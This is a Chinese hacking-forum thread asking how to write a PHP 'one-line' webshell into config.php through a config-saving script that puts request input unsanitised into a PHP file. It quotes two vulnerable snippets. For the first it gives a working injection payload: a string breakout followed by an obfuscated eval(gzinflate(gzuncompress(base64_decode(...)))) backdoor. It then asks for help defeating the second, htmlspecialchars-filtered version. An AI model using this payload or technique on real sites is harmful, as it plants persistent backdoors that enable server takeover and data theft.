- 帖子
- 310
- 积分
- 810
- 威望
- 1302
- 金钱
- 1010
- 在线时间
- 2 小时
|
[讨论]如何突破这段代码写入一句话[更新]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
这里先向楼下回帖的朋友道个歉,由于发帖时疏忽,没有仔细看代码,导致代码发错。
环境如下:
PHP中的magic_quotes_gpc为on
原来发错的代码:
<?
$fp = @fopen("config.php", "w");
$myarrs = $_REQUEST["conf"];
if (isset($fp)) {
@fputs($fp, "<?php\n// Created ".date("Y-m-d H:i:s")."\n\n");
$forbidden_values = array('{', '}', '$');
foreach ($myarrs as $key => $value) {
$value = str_replace($forbidden_values, '', $value);
@fputs($fp, "// ".$Site_conF[$key][1]."\n\$S_conf[\"".$key."\"] = \"".str_replace('"', '\\"', $value)."\";\n\n");
}
@fclose($fp);
print "<div align=\"center\"><strong>config_saved</strong></div>";
} else {
print "<div align=\"center\"><strong>FAIL</strong></div>";
}
@fclose($fp);
?>
现在需要突破的代码是:]
< ?
$fp = @fopen("config.php", "w");
$arrVar = $_REQUEST["conf"];
if (isset($fp)) {
@fputs($fp, "<?php \n# Created ".date("Y-m-d H:i:s")."\n\n");
foreach ($arrVar as $key => $value) {
@fputs($fp, "// ".$S_CONF[$key][1]."\n\$S_CONF[\"".$key."\"] = \"".htmlspecialchars($value)."\";\n\n");
}
@fputs($fp, "\n?>");
@fclose($fp);
print "<div align=\"center\"><strong>config_saved</strong></div>";
}
else {
print "<div align=\"center\"><strong>entryins_fail</strong></div>";
}
@fclose($fp);
?>
实现目的:在config.php里写入一句话,能成功连接。
对原来发错的代码,由于它在CONN里的对单引号作了stripcslashes处理,所以,我的突破思路是用压缩方法 传递如下参数:
\";?>
<?php
eval(gzinflate(gzuncompress(base64_decode('eJzz1vU+czGgk/8DP1+nnqant17n1S1sDABh6QgQ'))))
?>
对于现在需要突破的这个代码,我仍无法解决,请大家讨论。TTFCT http://WWW.TTFCT.COM
帖子279 精华4 积分4349 阅读权限100 性别男 在线时间111 小时 注册时间2006-2-13 最后登录2008-7-20 查看详细资料TOP 爱要怎么说出口
hackest
运维管理组
|
|